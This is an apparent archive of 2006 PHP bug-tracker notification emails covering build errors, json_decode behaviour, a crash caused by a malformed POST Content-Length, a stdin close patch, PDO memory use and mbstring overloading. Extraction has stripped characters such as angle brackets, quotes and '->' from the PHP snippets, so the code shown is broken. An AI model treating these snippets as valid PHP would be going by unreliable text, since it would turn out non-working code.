ID: 39343 Comment by: daniel at haxx dot se Reported By: steve dot kirtley at gmail dot com Status: Open Bug Type: cURL related Operating System: Red Hat / Apache/1.3.26 PHP Version: 4.4.4 New Comment: CURLOPT_PASSWDFUNCTION has no function and hasn't had any for quite some time. You can just erase every use of that. CURLOPT_FTPASCII should simply be renamed to CURLOPT_TRANSFERTEXT Previous Comments: [2006-11-03 10:00:15] steve dot kirtley at gmail dot com Thanks for the quick reply - hoping you can help me solve this one... Sorry, full error from Make command below: [EMAIL PROTECTED] php-4.4.4]# make /bin/sh /home/willis_s/php-4.4.4/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/curl/ -I/home/willis_s/php-4.4.4/ext/curl/ -DPHP_ATOM_INC -I/home/willis_s/php-4.4.4/include -I/home/willis_s/php-4.4.4/main -I/home/willis_s/php-4.4.4 -I/usr/lib/include -I/usr/local/mysql/include -I/usr/local/oracle/rdbms/public -I/usr/local/oracle/rdbms/demo -I/home/willis_s/php-4.4.4/ext/xml/expat -I/home/willis_s/php-4.4.4/TSRM -I/home/willis_s/php-4.4.4/Zend-g -O2 -prefer-non-pic -c /home/willis_s/php-4.4.4/ext/curl/curl.c -o ext/curl/curl.lo /home/willis_s/php-4.4.4/ext/curl/curl.c: In function `zm_startup_curl': /home/willis_s/php-4.4.4/ext/curl/curl.c:261: `CURLOPT_FTPASCII' undeclared (first use in this function) /home/willis_s/php-4.4.4/ext/curl/curl.c:261: (Each undeclared identifier is reported only once /home/willis_s/php-4.4.4/ext/curl/curl.c:261: for each function it appears in.) /home/willis_s/php-4.4.4/ext/curl/curl.c:299: `CURLOPT_PASSWDFUNCTION' undeclared (first use in this function) make: *** [ext/curl/curl.lo] Error 1 [EMAIL PROTECTED] php-4.4.4]# [2006-11-02 22:27:06] daniel at haxx dot se 1. You cut off the build error too early so the error doesn't really show 2. They aren't deprecated _functions_, they are deprecated symbols == defines in the curl public header file. [2006-11-02 11:04:23] steve dot kirtley at gmail dot com Description: Installed latest libcurl and curl libraries (no previous version) which worked fine with PHP 4.4.2 - however will not compile with 4.4.4 Reproduce code: --- Using following configure command, (which worked and still works with 4.4.2): ./configure --with-db --with-gdbm --with-xml --with-apxs=/usr/local/apache/bin/apxs --with-mysql=/usr/local/mysql --with-oci8=/usr/local/oracle --enable-sigchild --enable-trans-sid --with-pgsq --with-curl=/usr/lib Configure is successful but errors shown below appear when running 'make' /bin/sh /home/willis_s/php-4.4.4/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/curl/ -I/home/willis_s/php-4.4.4/ext/curl/ -DPHP_ATOM_INC -I/home/willis_s/php-4.4.4/include -I/home/willis_s/php-4.4.4/main -I/home/willis_s/php-4.4.4 -I/usr/lib/include -I/usr/local/mysql/include -I/usr/local/oracle/rdbms/public -I/usr/local/oracle/rdbms/demo -I/home/willis_s/php-4.4.4/ext/xml/expat -I/home/willis_s/php-4.4.4/TSRM -I/home/willis_s/php-4.4.4/Zend-g -O2 -prefer-non-pic -c /home/willis_s/php-4.4.4/ext/curl/curl.c -o ext/curl/curl.lo Expected result: With PHP 4.4.2 installs without issues using same process. Have posted onto the curl mailing list who advised these PHP ext files are referencing deprecated functions. -- Edit this bug report at http://bugs.php.net/?id=39343edit=1
#38680 [Asn-Csd]: json_decode won't decode json_encode
ID: 38680 Updated by: [EMAIL PROTECTED] Reported By: RQuadling at GMail dot com -Status: Assigned +Status: Closed Bug Type:Unknown/Other Function PHP Version: 5.2 Assigned To: iliaa New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2006-09-24 18:41:28] [EMAIL PROTECTED] reclassified assigned to Ilia [2006-09-24 00:21:07] [EMAIL PROTECTED] This is a documentation issue that must (should) be resolved before PHP 5.2 is released. The current docs were taken straight out of the README that's within the json extension sources. Please summarize exactly what needs to be changed here. [2006-09-04 08:55:41] RQuadling at GMail dot com Why is this bogus? I've reopened it as the PHP Dox makes no mention of the restriction that only objects and arrays are encodable/decodable. And if the json_encode only dealt with arrays objects rather than all types except resources, then the code would be cleaner and give less issue. [2006-09-01 14:43:33] RQuadling at GMail dot com I'm not sure I follow. I'm reading the PHP doc and json_encode says it can encode _ANY_ type except resource. json_decode says it takes a JSON encoded string and converts it into a PHP variable. So, $m_var = json_decode(json_decode($m_original_var)); $m_var == $m_original_var. Maybe NOT ===, but at least == So, there are several issues here. json_encode says ANY type. Not just objects or arrays. Admittedly, an array with int/bool/null in all work fine as does a multi-dimensional array. If the dox said JUST arrays and objects, then that would be fine too. You could then emit a warning when the types supplied wasn't an array or an object. But, as it stands, the dox say __ANY__, so, it is VERY reasonable to assume that encoding boolean/integers/null via json_encode will produce something usable. AND json_decode says it will decode any json_encoded string. Now, at this stage, I'm not even using the data, I'm just encoding it and then instantly decoding it. Not via a browser or JS. Just all in PHP. And this is not working. In your reply you say that true/false/null/numerics in raw form are not valid JSON structures, so json_decode will reject them and output NULL - Fair enough, but not what my bug report is about. I'm saying that json_encode is NOT producing correctly encoded structures for json_decode, NOT that I'm manually creating these structures and expecting them to work. ?php var_dump(json_decode(json_encode(True))); var_dump(json_decode(json_encode(False))); var_dump(json_decode(json_encode(Null))); var_dump(json_decode(json_encode(pi(; var_dump(json_decode(json_encode(phpversion(; ? produces NULL NULL NULL NULL NULL Very much NOT what would be expected! [2006-09-01 14:25:21] [EMAIL PROTECTED] Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php This is a documentation issue... true/false/null/numerics in raw form are not valid JSON structures, so json_decode will reject them and output NULL. Basically, if JSON_checker (http://www.json.org/JSON_checker/) says something is invalid JSON, then json_decode will return NULL. json_encode emits true/false/etc as any other way makes even less sense. :) The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/38680 -- Edit this bug report at http://bugs.php.net/?id=38680edit=1
#39359 [NEW]: Server API says 2.0 instead of 2.0
From: OlafvdSpek at Gmail dot Com Operating system: Windows XP PHP version: 5.2.0 PHP Bug Type: Apache2 related Bug description: Server API says 2.0 instead of 2.0 Description: Hi, phpinfo() says Server API: Apache 2.0 Handler although it's running on 2.2.3. Reproduce code: --- phpinfo(); Expected result: Server API: Apache 2.2 Handler Actual result: -- Server API: Apache 2.0 Handler -- Edit bug report at http://bugs.php.net/?id=39359edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39359r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39359r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39359r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39359r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39359r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39359r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39359r=needscript Try newer version:http://bugs.php.net/fix.php?id=39359r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39359r=support Expected behavior:http://bugs.php.net/fix.php?id=39359r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39359r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39359r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39359r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39359r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39359r=dst IIS Stability:http://bugs.php.net/fix.php?id=39359r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39359r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39359r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39359r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39359r=mysqlcfg
#39265 [Asn-Csd]: The ext/session/mod_files.sh script is faulty (fix included)
ID: 39265 Updated by: [EMAIL PROTECTED] Reported By: michal dot taborsky at gmail dot com -Status: Assigned +Status: Closed Bug Type: Session related Operating System: Linux CentOS 4.4 PHP Version: 5.1.6 Assigned To: iliaa New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2006-10-26 14:04:55] michal dot taborsky at gmail dot com Description: The script ext/session/mod_files.sh on our system fails: [EMAIL PROTECTED] ~]# ./mod_files.sh /tmp/session/ 3 6 expr: syntax error usage: ./mod_files.sh basedir depth The reason being this line: sh $0 $newpath `expr $2 - 1 $3` It can be fixed easily: sh $0 $newpath `expr $2 - 1` $3 -- Edit this bug report at http://bugs.php.net/?id=39265edit=1
#39360 [NEW]: unable to load dynamic library
From: marc dot lazzaro at st dot com Operating system: Win XP PHP version: 5.2.0 PHP Bug Type: OCI8 related Bug description: unable to load dynamic library Description: Hi, Trying to upgrade from 5.1.4 I'm facing an issue with php_oci8.dll module bundled with the distribution package: php 1136 - PHP startup: unable to load dynamic library C:/Program Files/Php/ext\php_oci8.dll. My system works on Windows XP/Apache2.2.2 and the Oracle8i client version is 8.1.7.0.0. I copied my old php.ini without any modification. Rgds -- Edit bug report at http://bugs.php.net/?id=39360edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39360r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39360r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39360r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39360r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39360r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39360r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39360r=needscript Try newer version:http://bugs.php.net/fix.php?id=39360r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39360r=support Expected behavior:http://bugs.php.net/fix.php?id=39360r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39360r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39360r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39360r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39360r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39360r=dst IIS Stability:http://bugs.php.net/fix.php?id=39360r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39360r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39360r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39360r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39360r=mysqlcfg
#38274 [Opn]: Memlimit fatal error sent to wrong stderr when using fastcgi
ID: 38274 User updated by: ch at hoffie dot info Reported By: ch at hoffie dot info Status: Open Bug Type: CGI related Operating System: Linux -PHP Version: 5.2.0RC5 +PHP Version: 5.2.0 New Comment: And the final contains this bug as well... Previous Comments: [2006-10-08 10:22:53] ch at hoffie dot info Still reproducable with rc5... Seems it isn't going to be fixed until the final will be released... [2006-09-01 12:49:32] ch at hoffie dot info It's still reproducable with 5.2.0RC3. It's annoying to see empty pages instead of error messages in development (where you may expect error messages to be served by the webserver). Was my description not clear enough? [2006-07-31 20:13:26] ch at hoffie dot info Description: When using the FastCGI SAPI the error message when the memory limit is exceeded (Fatal error: Allowed memory size ... exhausted) is sometimes sent to the real stderr (the pipe) instead of the stderr within the FastCGI protocol (which the FastCGI client would handle). This only occurs in special circumstances. The code ?php $a = str_repeat(a, 1); ? procudes an error regarding the memory limit too, but it is displayed correctly (on the right stderr, the FastCGI's one). Sending the same error to different targets sounds inconsistent to me. The problem didn't exist in PHP 5.1.4. Maybe it is related to http://bugs.php.net/bug.php?id=37481? Reproduce code: --- Request a file containing ?php for ($x=0;$x800;$x++) $a[] = 'aa'; echo 'a'; ? from a webserver which is configured to serve PHP files via FastCGI. Expected result: The message Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 35 bytes) in /var/www/localhost/htdocs/a.php on line 1 should be served by the webserver (assuming display_errors=1 and error_reporting(E_ALL)) to the client. Additionally the data sent to the FastCGI socket seems to be corrupt (I didn't analyze it, but my own implementation had problems, and lighttpd seems to have canceled the request, my browser tried to download the PHP file (without content of course)). Actual result: -- On the console, the webserver (or FastCGI server) was started on, Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 35 bytes) in /var/www/localhost/htdocs/a.php on line 1 is displayed. -- Edit this bug report at http://bugs.php.net/?id=38274edit=1
#39215 [Asn-Csd]: Inappropriate close of stdin/stdout/stderr
ID: 39215
Updated by: [EMAIL PROTECTED]
Reported By: tstarling at wikimedia dot org
-Status: Assigned
+Status: Closed
Bug Type: Streams related
Operating System: Linux Windows
PHP Version: 5CVS-2006-10-20 (CVS)
Assigned To: iliaa
New Comment:
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
Previous Comments:
[2006-10-21 22:27:32] [EMAIL PROTECTED]
This patch is scheduled for PHP 5.2.1.
Suggested workaround is to use the STDIN constant instead of explicitly
opening php://stdin.
Index: ext/standard/php_fopen_wrapper.c
===
RCS file: /repository/php-src/ext/standard/php_fopen_wrapper.c,v
retrieving revision 1.45.2.4.2.2
diff -u -p -r1.45.2.4.2.2 php_fopen_wrapper.c
--- ext/standard/php_fopen_wrapper.c5 Jul 2006 17:38:14 -
1.45.2.4.2.2
+++ ext/standard/php_fopen_wrapper.c21 Oct 2006 22:13:22 -
@@ -191,11 +191,41 @@ php_stream * php_stream_url_wrap_php(php
}
if (!strcasecmp(path, stdin)) {
- fd = !strcmp(sapi_module.name, cli) ? STDIN_FILENO :
dup(STDIN_FILENO);
+ if (!strcmp(sapi_module.name, cli)) {
+ static int cli_in = 0;
+ fd = STDIN_FILENO;
+ if (cli_in) {
+ fd = dup(fd);
+ } else {
+ cli_in = 1;
+ }
+ } else {
+ fd = dup(STDIN_FILENO);
+ }
} else if (!strcasecmp(path, stdout)) {
- fd = !strcmp(sapi_module.name, cli) ? STDOUT_FILENO :
dup(STDOUT_FILENO);
+ if (!strcmp(sapi_module.name, cli)) {
+ static int cli_out = 0;
+ fd = STDOUT_FILENO;
+ if (cli_out++) {
+ fd = dup(fd);
+ } else {
+ cli_out = 1;
+ }
+ } else {
+ fd = dup(STDOUT_FILENO);
+ }
} else if (!strcasecmp(path, stderr)) {
- fd = !strcmp(sapi_module.name, cli) ? STDERR_FILENO :
dup(STDERR_FILENO);
+ if (!strcmp(sapi_module.name, cli)) {
+ static int cli_err = 0;
+ fd = STDERR_FILENO;
+ if (cli_err++) {
+ fd = dup(fd);
+ } else {
+ cli_err = 1;
+ }
+ } else {
+ fd = dup(STDERR_FILENO);
+ }
} else if (!strncasecmp(path, filter/, 7)) {
/* Save time/memory when chain isn't specified */
if (strchr(mode, 'r') || strchr(mode, '+')) {
[2006-10-21 21:10:21] [EMAIL PROTECTED]
Hmm, someone changed the close behavior of those constants. Re-opening
while I check into it.
[2006-10-21 21:00:54] [EMAIL PROTECTED]
We added the constant STDIN to avoid this issue.
[2006-10-21 01:56:37] tstarling at wikimedia dot org
Although I cringe to say it, it looks like the easiest way to avoid the
access violation on windows may be to temporarily disable assertions and
parameter checking. Some references:
_close: http://msdn2.microsoft.com/en-us/library/5fzwd5ss.aspx
_set_invalid_parameter_handler:
http://msdn2.microsoft.com/en-us/library/a9yf33zb.aspx
[2006-10-21 01:20:14] tstarling at wikimedia dot org
In reply to Tony: they're not mutually exclusive statements, you just
need to prevent implicit or duplicate closes while allowing explicit
closes. This could be done by setting a flag in the stream structure at
the end of php_stream_url_wrap_php(). The flag could be detected in
_php_stream_free() and a close avoided. Duplicate closes can be
prevented either by keeping an array of filedescriptor states in
memory, or by somehow detecting the state of the FD before attempting a
close.
I decided to submit a bug report rather than a patch because I wasn't
sure about the best way to implement it.
According to the MSVC Run-Time Library Reference, regarding _close():
This function validates its parameters. If fd is a bad file
descriptor, the invalid parameter handler is invoked, as described in
Parameter Validation. If execution is allowed
#39201 [Asn]: POST with invalid content-length and ErrorDocument set crashes php
ID: 39201
User updated by: thomas at partyflock dot nl
Reported By: thomas at partyflock dot nl
Status: Assigned
Bug Type: Apache2 related
Operating System: Linux (2.6.18)
PHP Version: 5.1.6
Assigned To: tony2001
New Comment:
Found out another thing.
If I point ErrorDocument 413 to a static page, there is no segmentation
fault, but then the static page is displayed AND the PHP script as
requested by the POST command.
So
ErrorDocument 413 /something.html
And doing following POST with Content-Length with invalid extra
carriage return:
POST /somescript.php HTTP/1.0
Content-Length: 1\r
Doesn't crash, but does exhibit strange behavouir by displaying the
error document appended with the somescript.php!
Previous Comments:
[2006-10-21 23:22:39] judas dot iscariote at gmail dot com
Unable to reproduce it here ...
[2006-10-20 01:04:01] thomas at partyflock dot nl
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211164992 (LWP 15723)]
0xb7b4e7e0 in sapi_read_standard_form_data () at
/root/build/webserver/200610181
225 SG(request_info).post_data[SG(read_post_bytes)] = 0;
/* termina
(gdb) bt
#0 0xb7b4e7e0 in sapi_read_standard_form_data () at
/root/build/webserver/20061
#1 0xb7b53425 in php_default_post_reader () at
/root/build/webserver/2006101814
#2 0xb7b4ee57 in sapi_activate () at
/root/build/webserver/200610181402/php/php
#3 0xb7b471ac in php_request_startup () at
/root/build/webserver/200610181402/p
#4 0xb7c0ed45 in php_apache_request_ctor (r=0x81d10e0, ctx=0x81d23e8)
at
/root/build/webserver/200610181402/php/php-5.2/sapi/apache2handler/sapi_a
#5 0xb7c0f26f in php_handler (r=0x81d10e0) at
/root/build/webserver/20061018140
#6 0x0807a514 in ap_invoke_handler ()
#7 0x0806bb02 in ap_process_request ()
#8 0x08065a92 in ap_process_http_connection ()
#9 0x0808389b in ap_process_connection ()
#10 0x08077a06 in child_main ()
#11 0x08077cd6 in make_child ()
#12 0x08078034 in ap_mpm_run ()
#13 0x0807e970 in main ()
(gdb) p sapi_globals.request_info
$2 = {request_method = 0x81d2910 GET, query_string = 0x81d69b8
SECTION=anything;sELEMENT=anything;EXTENSION=, post_data = 0x0,
raw_post_data = 0x0,
cookie_data = 0x0, content_length = 1, post_data_length = 0,
raw_post_data_length = 0, path_translated = 0x81d69f8
/home/party/public_html/index.php,
request_uri = 0x81d69e8 /anything, content_type = 0x0, headers_only
= 0 '\0', no_headers = 0 '\0', headers_read = 0 '\0', post_entry = 0x0,
content_type_dup = 0x0, auth_user = 0x0, auth_password = 0x0,
auth_digest = 0x0, argv0 = 0x0, current_user = 0x0, current_user_length
= 0, argc = 0,
argv = 0x0, proto_num = 1000}
But I've narrowed it down a bit. It requires the following lines in
httpd.conf:
RewriteEngine on
RewriteRule ^/anywhere$ /somewherelse.php
ErrorDocument 413 /anywhere
/somewherelse.php must exists. There's no problem if a non-php file is
used.
[2006-10-19 22:48:13] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
Can't reproduce.
This is the only result I see:
[Fri Oct 20 02:46:09 2006] [error] [client 127.0.0.1] Invalid
Content-Length
[2006-10-19 21:46:32] thomas at partyflock dot nl
Happens in 5.2dev too.
[2006-10-19 20:16:29] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5.2-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5.2-win32-latest.zip
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/39201
--
Edit this bug report at http://bugs.php.net/?id=39201edit=1
#39201 [Asn]: POST with invalid content-length and ErrorDocument set crashes php
ID: 39201
User updated by: thomas at partyflock dot nl
Reported By: thomas at partyflock dot nl
Status: Assigned
Bug Type: Apache2 related
-Operating System: Linux (2.6.18)
+Operating System: Linux (2.6.18.1)
-PHP Version: 5.1.6
+PHP Version: 5.2.0
Assigned To: tony2001
New Comment:
Upped version to 5.2.0, happens there too.
Previous Comments:
[2006-11-03 13:39:56] thomas at partyflock dot nl
Found out another thing.
If I point ErrorDocument 413 to a static page, there is no segmentation
fault, but then the static page is displayed AND the PHP script as
requested by the POST command.
So
ErrorDocument 413 /something.html
And doing following POST with Content-Length with invalid extra
carriage return:
POST /somescript.php HTTP/1.0
Content-Length: 1\r
Doesn't crash, but does exhibit strange behavouir by displaying the
error document appended with the somescript.php!
[2006-10-21 23:22:39] judas dot iscariote at gmail dot com
Unable to reproduce it here ...
[2006-10-20 01:04:01] thomas at partyflock dot nl
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211164992 (LWP 15723)]
0xb7b4e7e0 in sapi_read_standard_form_data () at
/root/build/webserver/200610181
225 SG(request_info).post_data[SG(read_post_bytes)] = 0;
/* termina
(gdb) bt
#0 0xb7b4e7e0 in sapi_read_standard_form_data () at
/root/build/webserver/20061
#1 0xb7b53425 in php_default_post_reader () at
/root/build/webserver/2006101814
#2 0xb7b4ee57 in sapi_activate () at
/root/build/webserver/200610181402/php/php
#3 0xb7b471ac in php_request_startup () at
/root/build/webserver/200610181402/p
#4 0xb7c0ed45 in php_apache_request_ctor (r=0x81d10e0, ctx=0x81d23e8)
at
/root/build/webserver/200610181402/php/php-5.2/sapi/apache2handler/sapi_a
#5 0xb7c0f26f in php_handler (r=0x81d10e0) at
/root/build/webserver/20061018140
#6 0x0807a514 in ap_invoke_handler ()
#7 0x0806bb02 in ap_process_request ()
#8 0x08065a92 in ap_process_http_connection ()
#9 0x0808389b in ap_process_connection ()
#10 0x08077a06 in child_main ()
#11 0x08077cd6 in make_child ()
#12 0x08078034 in ap_mpm_run ()
#13 0x0807e970 in main ()
(gdb) p sapi_globals.request_info
$2 = {request_method = 0x81d2910 GET, query_string = 0x81d69b8
SECTION=anything;sELEMENT=anything;EXTENSION=, post_data = 0x0,
raw_post_data = 0x0,
cookie_data = 0x0, content_length = 1, post_data_length = 0,
raw_post_data_length = 0, path_translated = 0x81d69f8
/home/party/public_html/index.php,
request_uri = 0x81d69e8 /anything, content_type = 0x0, headers_only
= 0 '\0', no_headers = 0 '\0', headers_read = 0 '\0', post_entry = 0x0,
content_type_dup = 0x0, auth_user = 0x0, auth_password = 0x0,
auth_digest = 0x0, argv0 = 0x0, current_user = 0x0, current_user_length
= 0, argc = 0,
argv = 0x0, proto_num = 1000}
But I've narrowed it down a bit. It requires the following lines in
httpd.conf:
RewriteEngine on
RewriteRule ^/anywhere$ /somewherelse.php
ErrorDocument 413 /anywhere
/somewherelse.php must exists. There's no problem if a non-php file is
used.
[2006-10-19 22:48:13] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
Can't reproduce.
This is the only result I see:
[Fri Oct 20 02:46:09 2006] [error] [client 127.0.0.1] Invalid
Content-Length
[2006-10-19 21:46:32] thomas at partyflock dot nl
Happens in 5.2dev too.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/39201
--
Edit this bug report at http://bugs.php.net/?id=39201edit=1
#39342 [Opn-Fbk]: is_writable function
ID: 39342
Updated by: [EMAIL PROTECTED]
Reported By: visit2imran at gmail dot com
-Status: Open
+Status: Feedback
Bug Type: Filesystem function related
Operating System: LInux
PHP Version: 5.1.6
New Comment:
Do you have open_basedir or safe_mode that could be blocking
access to the file?
Previous Comments:
[2006-11-02 19:09:58] phpbugs at thequod dot de
Have you checked permissions on the file?
Probably, PHP is running with another user.
[2006-11-02 09:57:40] visit2imran at gmail dot com
Description:
Hello,
Iam facing a strange problem, we have shifted our site to newserver.
Earlier our code was
if (is_writable($file_path_csv))
{
echo brPath=$file_path_csv;
}
This was working fine
now my code is not working..rather if is use
if (!is_writable($file_path_csv))
{
echo brPath=$file_path_csv;
}
it is working..
what could be the Problem?
please help.
Regards
--
Edit this bug report at http://bugs.php.net/?id=39342edit=1
#39308 [Opn-Bgs]: PDO eats 1 megabyte for every prepared statement for LONGTEXT fields
ID: 39308
Updated by: [EMAIL PROTECTED]
Reported By: suhachov at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: Performance problem
Operating System: Linux FC
PHP Version: 5.1.6
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
This is the only way we can bypass limitations of the MySQL's
prepared statement interface. If you disable native prepared
statements this problem will go away.
Previous Comments:
[2006-10-30 15:02:02] suhachov at gmail dot com
Description:
Simple program:
// remember used memory
$start = memory_get_usage();
$dbh = new PDO('mysql:...','...','...');
// create empty table
$dbh-query('DROP TABLE IF EXISTS ttt;');
$dbh-query(CREATE TABLE ttt ( id integer, args longtext););
// simple code
function doQuery($id)
{
static $sth;
if( !$sth )
$sth = $GLOBALS['dbh']-prepare(SELECT * FROM ttt WHERE id =
?);
$sth-execute(array($id));
return $sth-fetchAll();
}
var_dump(doQuery('5'));
echo memory_get_usage()-$start;
// eats 1 megabyte of memory.
// if I duplicate doQuery()-doQuery2()
// and call doQuery2() - it eats 2(!!) Mb of memory
// if I remove LONGTEXT, everything is OK.
Reproduce code:
---
see above.
Expected result:
Please, not so much memory!
--
Edit this bug report at http://bugs.php.net/?id=39308edit=1
#39356 [Opn-Bgs]: in_array() causes Nesting level too deep fatal error
ID: 39356
Updated by: [EMAIL PROTECTED]
Reported By: 7am dot online at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: Arrays related
Operating System: Windows XP
PHP Version: 5.2.0
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
In php 5 objects are passed by reference, so your code does in
fact create a circular dependency.
Previous Comments:
[2006-11-03 03:04:24] 7am dot online at gmail dot com
Description:
Doing a in_array() check against an array containing objects with
recursive dependency causes a Nesting level too deep - recursive
dependency? fatal error.
Reproduce code:
---
?php
class A
{
public $b;
}
class B
{
public $a;
}
$a = new A;
$b = new B;
$b-a = $a;
$a-b = $b;
$test = array($a, $b);
var_dump(in_array($a, $test));
Expected result:
bool(true), as in PHP5.1.6
Actual result:
--
Fatal error: Nesting level too deep - recursive dependency? in
[FILENAME] on line 19
--
Edit this bug report at http://bugs.php.net/?id=39356edit=1
#39360 [Com]: unable to load dynamic library
ID: 39360 Comment by: crescentfreshpot at gmail dot com Reported By: marc dot lazzaro at st dot com Status: Open Bug Type: OCI8 related Operating System: Win XP PHP Version: 5.2.0 New Comment: You need oracle instant client installed. See bug #39096 Previous Comments: [2006-11-03 13:26:12] marc dot lazzaro at st dot com Description: Hi, Trying to upgrade from 5.1.4 I'm facing an issue with php_oci8.dll module bundled with the distribution package: php 1136 - PHP startup: unable to load dynamic library C:/Program Files/Php/ext\php_oci8.dll. My system works on Windows XP/Apache2.2.2 and the Oracle8i client version is 8.1.7.0.0. I copied my old php.ini without any modification. Rgds -- Edit this bug report at http://bugs.php.net/?id=39360edit=1
#39361 [NEW]: mbstring function overloading - local value ignored
From: christoph at ziegenberg dot de
Operating system: Win XP SP 2
PHP version: 5.2.0
PHP Bug Type: mbstring related
Bug description: mbstring function overloading - local value ignored
Description:
I got a new error message in PHP 5.2 when using mb_strstr() with an empty
string as haystack. So I wrote a testfile to compare the behaviour of
strstr() with mb_strstr().
Although mbstring function overloading is not enabled and the phpinfo()
output (in the same file, so there are no more changes via .htaccess) says
that all mbstring settings are the default settings, strstr() is overloaded
with mb_strstr().
phpinfo output:
---
Multibyte Support enabled
Multibyte string engine libmbfl
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 4.4.4
Multibyte regex (oniguruma) backtrack check On
mbstring extension makes use of streamable kanji code filter and
converter, which is distributed under the GNU Lesser General Public
License version 2.1.
Directive Local Value Master Value
mbstring.detect_order no valueno value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input passpass
mbstring.http_outputpasspass
mbstring.internal_encoding no valueno value
mbstring.language neutral neutral
mbstring.strict_detection Off Off
mbstring.substitute_character no valueno value
---
Reproduce code:
---
?php
//phpinfo();
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
Warning: strstr() [function.strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
--
Edit bug report at http://bugs.php.net/?id=39361edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=39361r=trysnapshot44
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=39361r=trysnapshot52
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=39361r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39361r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=39361r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=39361r=needtrace
